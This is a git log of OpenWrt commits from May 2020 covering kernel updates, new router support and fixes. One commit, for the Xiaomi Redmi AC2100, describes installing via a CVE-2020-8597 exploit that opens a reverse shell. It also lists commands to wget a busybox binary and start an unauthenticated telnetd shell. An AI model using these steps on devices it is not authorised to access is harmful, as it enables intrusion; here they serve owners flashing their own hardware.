aboutsummaryrefslogtreecommitdiffstats
Commit message (Collapse)AuthorAgeFilesLines
* kernel: bump 5.4 to 5.4.42Petr Štetiar2020-05-2027-91/+65
| | | | | | | | | | | Refreshed patches, removed upstreamed patch: generic/pending: 001-v5.4-pinctrl-qcom-fix-wrong-write-in-update_dual_edge.patch.patch Run tested: qemu-x86-64 Build tested: x86/64, ath79/nand, imx6, sunxi/a53 Signed-off-by: Petr Štetiar <ynezz@true.cz>
* kernel: kmod-ptp-qoriq: Package kernel object fileJeffery To2020-05-201-2/+2
| | | | | | | This updates the package to contain the kernel object (.ko) file instead of the plain object (.o) file. Signed-off-by: Jeffery To <jeffery.to@gmail.com>
* x86: fix generic kernel 5.4 configAlberto Bursi2020-05-202-12/+13
| | | | | | | | | | | | | | The last kernel update done with commit 500a02bc29b9 ("x86: Update configuration") placed most of the updated config only in the x86_64 target. Move the options needed by the other targets too in the x86 base config, and add an additional option needed by those targets. Fixes: 500a02bc29b9 ("x86: Update configuration") Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com> [commit subject/description tweaks] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)Richard Huynh2020-05-206-3/+209
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
* bcm63xx: lzma-loader: rely on CHIP_ID for UART addressÁlvaro Fernández Rojas2020-05-205-83/+32
| | | | | | | | lzma-loader uart output wasn't working on BCM3380/BCM6362 because these SoCs have the same processor ID. Let's use CHIP_ID for establishing the UART base address. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: lzma-loader: remove unused definitionsÁlvaro Fernández Rojas2020-05-202-22/+1
| | | | Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: image: add CVG834G CHIP_IDÁlvaro Fernández Rojas2020-05-201-1/+1
| | | | Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: image: rename CFE_CHIP_ID to CHIP_IDÁlvaro Fernández Rojas2020-05-203-101/+101
| | | | | | Rename CFE_CHIP_ID to a generic name that doesn't involve CFE. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: fix AD1018 WLAN ledÁlvaro Fernández Rojas2020-05-201-1/+3
| | | | | | | Standard AD1018 has lower case LEDs. Fixes: 5f826919232d ("bcm63xx: add unmodded SERCOMM AD1018 support") Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx-cfe: fix build with CONFIG_AUTOREMOVEÁlvaro Fernández Rojas2020-05-201-6/+7
| | | | | | | | | | | When CONFIG_AUTOREMOVE is enabled, CFE binaries are removed before the image creation. Install CFE binaries to kernel directory and let autoremove clean the files in PKG_BUILD_DIR. Also drop unneeded tar cmd/options. Fixes: dcee4eaa4214 ("bcm63xx-cfe: add package with CFE RAM binaries") Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* wireguard-tools: bump to 1.0.20200513Jason A. Donenfeld2020-05-201-2/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | * ipc: add support for openbsd kernel implementation * ipc: cleanup openbsd support * wg-quick: add support for openbsd kernel implementation * wg-quick: cleanup openbsd support Very exciting! wg(8) and wg-quick(8) now support the kernel implementation for OpenBSD. OpenBSD is the second kernel, after Linux, to receive full fledged and supported WireGuard kernel support. We'll probably send our patch set up to the list during this next week. `ifconfig wg0 create` to make an interface, and `wg ...` like usual to configure WireGuard aspects of it, like usual. * wg-quick: support dns search domains If DNS= has a non-IP in it, it is now treated as a search domain in resolv.conf. This new feature will be rolling out across our various GUI clients in the next week or so. * Makefile: simplify silent cleaning * ipc: remove extra space * git: add gitattributes so tarball doesn't have gitignore files * terminal: specialize color_mode to stdout only Small cleanups. * highlighter: insist on 256-bit keys, not 257-bit or 258-bit The highlighter's key checker is now stricter with base64 validation. * wg-quick: android: support application whitelist Android users can now have an application whitelist instead of application blacklist. * systemd: add wg-quick.target This enables all wg-quick at .services to be restarted or managed as a unit via wg-quick.target. * Makefile: remember to install all systemd units Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
* bcm63xx: add unmodded SERCOMM AD1018 supportÁlvaro Fernández Rojas2020-05-1912-7/+268
| | | | | | | | | Until now only HW modded SPI flash version was supported. BCM6328 with 64M RAM and 128M NAND. More info: https://openwrt.org/toh/sercomm/ad1018 Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* kernel: mtdsplit: bcm_wfi: add sercomm supportÁlvaro Fernández Rojas2020-05-191-23/+47
| | | | | | SERCOMM creates separates partitions for cferam. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: bcm6328: fix strapbus boot selÁlvaro Fernández Rojas2020-05-192-1/+14
| | | | | | Boot selection bit is 18, not 28. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* ramips: fix MAC address setup for RT5350F-OLinuXino devicesSungbo Eo2020-05-191-2/+2
| | | | | | | | Olimex RT5350F-OLinuXino devices do not have a default MAC address, and there is nothing at the 0x4 offset in the factory partition. Using a local address, which is randomly generated by the kernel, would be a better choice. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: 5.4: handle ERR_PTR properlySungbo Eo2020-05-191-1/+1
| | | | | | | of_get_mac_address can return ERR_PTR since 5.2, so the return pointer should be checked before used. Otherwise it might cause an oops during boot. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: fix initramfs image for I-O DATA mt7621 devicesINAGAKI Hiroshi2020-05-191-6/+6
| | | | | | | | | | | | | | | This is additional fix of c998ae7f0e9bd51be4935055efbc3834a92698b1. The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC (MitraStar Technology Corp.) faced to the booting issue. This was caused by imcomplete extraction of large kernel image by U-Boot, and this issue is occurred in initramfs image after fixing of sysupgrade image. So, use lzma-loader for initramfs image to fix the issue. Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com> Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp> Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp> Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
* ramips: remove default switch setup in 02_networkChuanhong Guo2020-05-195-83/+85
| | | | | | | | ramips images now relies on explicit switch setup for proper failsafe functionality. Remove default cases where it relies on vlan setup in dts and add switch setup for devices affected. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* bcm63xx: reorganize board patchesÁlvaro Fernández Rojas2020-05-1949-0/+0
| | | | | | Let's put some order on board patches. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: bcm6328-leds: improve HW blinkingÁlvaro Fernández Rojas2020-05-191-0/+137
| | | | | | Add support for second HW blinking interval. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: add Comtrend VG-8050 supportÁlvaro Fernández Rojas2020-05-195-0/+269
| | | | | | | | BCM63169 with 128M RAM, 128M NAND and BCM53125 switch. Switch is connected by HSSPI to CS5. More info: https://openwrt.org/toh/comtrend/vg8050 Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: add NETGEAR DGND3700v2 supportÁlvaro Fernández Rojas2020-05-196-2/+293
| | | | | | | | BCM6362 with 64M RAM, 32M NAND and BCM53125 switch. Switch is connected by MMAP, which is currently unsupported (no VLANs). More info: https://openwrt.org/toh/netgear/dgnd3700v2 Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* scripts: cfe-wfi-tag: fix shebangÁlvaro Fernández Rojas2020-05-191-1/+1
| | | | | Fixes: 72985233a696 ("scripts: support CFE WFI images") Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* scripts: cfe-bin-header: fix shebangÁlvaro Fernández Rojas2020-05-191-1/+1
| | | | | Fixes: e575a7f777ef ("scripts: support tags for CFE binaries") Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* ramips: remove leading zeros from MAC address locationAdrian Schmutzler2020-05-182-2/+2
| | | | | | Cosmetic adjustment to match the rest of the target. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: set WAN address in DTS for ASUS RT-AC51U/RT-AC54UAdrian Schmutzler2020-05-183-4/+5
| | | | | | | | | | | | | The location 0x28 in factory partition is the common one used for ethernet address on this architecture. Despite, it contains the label MAC address for the devices at hand. Consequently, this patch moves 0x28 to the &ethernet node in DTS files (setting the WAN MAC address there) and sets up the lan_mac from 0x22 in 02_network. As a benefit, this allows to use label-mac-device in DTS instead of ucidef_set_label_macaddr. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: use DT trigger for 2G WiFi on ASUS RT-AC51UAdrian Schmutzler2020-05-182-8/+8
| | | | | | | | | | | Like for the RT-AC54U, this uses a DT trigger for WiFi also at the RT-AC51U. While at it, rename node and label to wifi2g. Note that the 5g WiFi LED still isn't supported (see PR #3017 for further details: https://github.com/openwrt/openwrt/pull/3017 ) Tested-by: Davide Fioravanti <pantanastyle@gmail.com> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: fix MAC address assignment for ASUS RT-AC51UAdrian Schmutzler2020-05-182-2/+2
| | | | | | | | | | | | | | | | The current MAC address assignment for the ASUS RT-AC51U is "wrong", it actually should be the same as for the RT-AC54U. Fix it. MAC assignment based on vendor firmware: 2g 0x4 label 5g 0x8004 label +4 lan 0x22 label +4 wan 0x28 label Thanks to Davide Fioravanti for checking this on his device. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* mt7621: Make ER-X-SFP factory image compatible with EP-R6Fabian Bläse2020-05-181-1/+1
| | | | | | | | | | | | | | | | | | | | | | | The version inside the compat file determines, if a firmware supports a specific device. I have not yet fully understood, how this is checked, but it only seems to indicate which devices are supported by a specific version of the combined vendor firmware. Devices assume that subsequent versions, starting with the version that initially added support for a specific device, are always compatible. The first compat version that added support for the EP-R6 was '21001:7', but OpenWrt did use '21001:6' before. This is why the factory image could not be flashed using the vendor software, but only using TFTP. The compat version has been bumped by the vendor a few times, but more devices have been added since (e.g. ER-10X). Because OpenWrt currently only supports the ER-X, ER-X-SFP and EP-R6, the compat version is incremented to the version that first supported the EP-R6, which is '21001:7'. This allows the factory image to be flashed on EP-R6 without TFTP. Signed-off-by: Fabian Bläse <fabian@blaese.de>
* mpc85xx: restructure image receiptsDavid Bauer2020-05-184-105/+93
| | | | | | | Move the image receipts into separate per-subtarget files like it is done on most other targets. Signed-off-by: David Bauer <mail@david-bauer.net>
* mpc85xx: rename generic subtarget to p1010David Bauer2020-05-185-5/+5
| | | | | | | | The mpc85xx-generic subtarget supports the QorIQ SoCs of the p1010 family. Rename the subtarget to reflect this affiliation as it's the case with the other mpc85xx subtargets. Signed-off-by: David Bauer <mail@david-bauer.net>
* bcm63xx: add support for Comtrend VR-3032uÁlvaro Fernández Rojas2020-05-186-2/+331
| | | | Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx: smp: add NAND supportÁlvaro Fernández Rojas2020-05-1822-6/+817
| | | | | | NAND controller is present on BCM6328, BCM6362, BCM6368 and BCM63268. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* bcm63xx-cfe: add package with CFE RAM binariesÁlvaro Fernández Rojas2020-05-181-0/+42
| | | | | | | CFE RAM is a second stage bootloader which is usually loaded by CFE ROM (first stage bootloader) from a JFFS2 partition stored on the NAND. Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* kernel: mtdsplit: add BCM WFI supportÁlvaro Fernández Rojas2020-05-186-0/+212
| | | | Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* scripts: support CFE WFI imagesÁlvaro Fernández Rojas2020-05-181-0/+200
| | | | | | | | | | | CFE WFI (Whole Flash Image) consists in 20 byte footer: - u32: CRC32 - u32: WFI Version - u32: Chip ID - u32: Flash Type - u32: Flags Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* scripts: support tags for CFE binariesÁlvaro Fernández Rojas2020-05-181-0/+72
| | | | | | | | | CFE loads binaries based on a 12 byte header which corresponds to: - u32: Load Address - u32: Entry Address - u32: Size Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* base-files: switch_to_ramfs: add nand-utilsÁlvaro Fernández Rojas2020-05-182-2/+2
| | | | Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* ath79: add support for TP-Link TL-WA901ND v4 and v5Adrian Schmutzler2020-05-188-72/+174
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This ports support for the TL-WA901ND v4 and v5 from ar71xx to ath79. They are similar to the TP9343-based TL-WR940N v3/v4 and TL-WR941ND v6. Specifications: SoC: TP9343 Flash/RAM: 4/32 MiB CPU: 750 MHz WiFi: 2.4 GHz b/g/n Ethernet: 1 port (100M) Flashing instructions: Upload the factory image via the vendor firmware upgrade option. Flash instruction (TFTP): 1. Set PC to fixed ip address 192.168.0.66 2. Download *-factory.bin image and rename it to * (see below) 3. Start a tftp server with the image file in its root directory 4. Turn off the router 5. Press and hold Reset button 6. Turn on router with the reset button pressed and wait ~15 seconds 7. Release the reset button and after a short time the firmware should be transferred from the tftp server 8. Wait ~30 second to complete recovery. * The image name for TFTP recovery is wa901ndv4_tp_recovery.bin for both variants. In ar71xx, a MAC address with offset 1 was used for ethernet port. That's probably wrong, but this commit sticks to it until we know the correct value. Like in ar71xx, this builds the default factory.bin with EU country code. Thanks to Leonardo Weiss for testing on the v5. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* lantiq: fritz 7360 v2: remove additional supported devicesAlexander Couzens2020-05-181-1/+0
| | | | | | | | | | | | The additional supported device isn't required since this is a new device. Some board contains an addtional device, those device were supported in earlier versions which used the "old" image builder code. To support an sysupgrade from such old version, there is the all caps additional device. Signed-off-by: Alexander Couzens <lynxis@fe80.eu> Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* lantiq: fritz 7360 v2: rename device before it will be usedAlexander Couzens2020-05-185-18/+18
| | | | | | | | | | | Use similiar naming scheme as ath79. Since the fritz 7360 v2 was only in the tree for 2 days, there is no compatibility for the old image. Users which has installed the fritz 7360 v2 before this change, must use sysupgrade --force to skip checks on the board. Signed-off-by: Alexander Couzens <lynxis@fe80.eu> Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: increase SPI frequency for ASUS RT-AC51U/RT-AC54UAdrian Schmutzler2020-05-181-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This increases the SPI frequency for both ASUS RT-AC51U and RT-AC54U. Speed comparison tests have been performed on RT-AC54U: - 10Mhz root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 4m 37.78s user 0m 0.02s sys 2m 43.92s - 50Mhz root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 28.34s user 0m 0.03s sys 0m 46.96s - 50Mhz fast read root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 11.94s user 0m 0.01s sys 0m 46.94s - 80Mhz root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 12.31s user 0m 0.04s sys 0m 46.96s - 80Mhz fast read root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 12.15s user 0m 0.02s sys 0m 46.97s Based on that, we took 50 MHz with fast-read, as higher frequencies didn't yield further improvements. For the RT-AC51U, only the final configuration was tested. Tested-by: Zhijun You <hujy652@gmail.com> [RT-AC54U] Tested-by: Davide Fioravanti <pantanastyle@gmail.com> [RT-AC51U] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* bcm63xx: mask interrupts on initÁlvaro Fernández Rojas2020-05-171-0/+12
| | | | | | | Fixes BCM6348/BCM6358 hangs while booting: https://bugs.openwrt.org/index.php?do=details&task_id=2202 Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* ath79: add support for Ubiquiti PowerBeam 5AC 500Roger Pueyo Centelles2020-05-175-0/+127
| | | | | | | | | | | | | | | | | | | | | | | | The Ubiquiti PowerBeam 5AC 500 (PBE-5AC-500) is an outdoor 802.11ac 5 GHz bridge with a radio feed and a dish antenna. Specifications: - SoC: Qualcomm Atheros QCA9558 - RAM: 128 MB DDR2 - Flash: 16 MB SPI NOR (mx25l12805d) - Ethernet: 1x 10/100/1000 Mbps Atheros 8031, 24 Vdc PoE-in - WiFi 5 GHz: QCA988x HW2.0 Ubiquiti target 0x4100016c chip_id 0x043222ff - Buttons: 1x (reset) - LEDs: 1x power, 1x Ethernet, 4x RSSI, all blue - UART: not tested Not supported: - RSSI LEDs (probably through 74HC595 chip) Installation from stock airOS firmware: - Follow instructions for XC-type Ubiquiti devices on OpenWrt wiki at https://openwrt.org/toh/ubiquiti/common Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
* firmware-utils: mkfwimage: add support for Ubiquiti XC devicesRoger Pueyo Centelles2020-05-171-0/+9
| | | | | | | | This commit adds support for Ubiquiti devices based on the XC board type, such as the PowerBeam 5AC 500. The factory binary structure is the same as the WA type. Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
* ramips: add support for Linksys EA7500 v2Davide Fioravanti2020-05-178-0/+260
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
* mtd: add linksys_bootcount for ramipsDavide Fioravanti2020-05-171-1/+1
| | | | | | | | | | | | | Reset bc is needed for Linksys EA7500 v2's dual boot. Size impact (tested with Linksys EA7500 v2 @ mt7621): mtd_25_mipsel_24kc.ipk: 13174 -> 13628 (454 bytes) initramfs: 3660350 -> 3660688 (338 bytes) Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> [add size impact information] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for netis WF2770Sungbo Eo2020-05-175-6/+183
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A. Specifications: - SoC: MT7620A - RAM: DDR2 64MB - Flash: SPI NOR 16MB - WiFi: - 2.4GHz: SoC internal - 5GHz: MT7610EN - Ethernet: 5x 10/100/1000Mbps - Switch: MT7530BU - UART: - J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1 MAC addresses in factory partition: 0x0004: LAN, WiFi 2.4GHz (label_mac-6) 0x0028: not used (label_mac-1) 0x002e: WAN (label_mac) 0x8004: WiFi 5GHz (label_mac+2) Installation via web interface: 1. Flash **initramfs** image through the stock web interface. 2. Boot into OpenWrt and perform sysupgrade with sysupgrade image. Revert to stock firmware: 1. Perform sysupgrade with stock image. Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com> Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: add support for ASUS RT-AC54UZhijun You2020-05-173-1/+77
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MTK MT7620A - RAM: 64MB - ROM: 16MB SPI Flash Macronix MX25L12835E - WiFi1: MediaTek MT7620A - WiFi2: MediaTek MT7612E - Button: reset, wps - LED: 9 LEDs:Power, WiFi 2.4G,WiFi 5G, USB, LAN1, LAN2, LAN3, LAN4, WAN - Ethernet: 5 ports, 4 LAN + 1 WAN - Other: 1x UART 1x USB2.0 Installation: Update using ASUS Firmware Restoration Tool: 1. Download the ASUS Firmware Restoration Tool but don't open it yet 2. Unplug your computer from the router 3. Put the router into Rescue Mode by: turning the power off, using a pin to press and hold the reset button, then turning the router back on while keeping the reset button pressed for ~5 secs until the power LED starts flashing slowly (which indicates the router has entered Rescue Mode) 4. Important (if you don't do this next step the Asus Firmware Restoration Tool will wrongly assume that the router is not in Rescue Mode and will refuse to flash it): go to the Windows Control Panel and temporarily disable ALL other network adapters except the one you will use to connect your computer to the router 5. For the single adapter you left enabled, temporarily give it the static IP 192.168.1.10 and the subnet mask 255.255.255.0 6. Connect a LAN cable between your computer (make sure to use the Ethernet port of the adapter you've just set up) and port 1 of the router (not the router's WAN port) 7. Rename sysupgrade.bin to factory.trx 8. Open the Asus Firmware Restoration Tool, locate factory.trx and click upload (if Windows shows a compatibility prompt, confirm that the tool worked fine) 9. Flashing and reboot is finished when the power LED stops blinking and stays on MAC assignment based on vendor firmware: 2g 0x4 label 5g 0x8004 label +4 lan 0x22 label +4 wan 0x28 label Signed-off-by: Zhijun You <hujy652@gmail.com> [rebased due to DTSI patch, minor commit message adjustments, fix label MAC address (lan->wan), do spi frequency increase separately] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: create DTSI for ASUS RT-AC51U and RT-AC54UAdrian Schmutzler2020-05-172-91/+96
| | | | | | | | | This creates a DTSI for the ASUS RT-AC51U and the upcoming RT-AC54U, as they are quite similar. White at it, drop the unneeded "status = okay" for ethernet. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>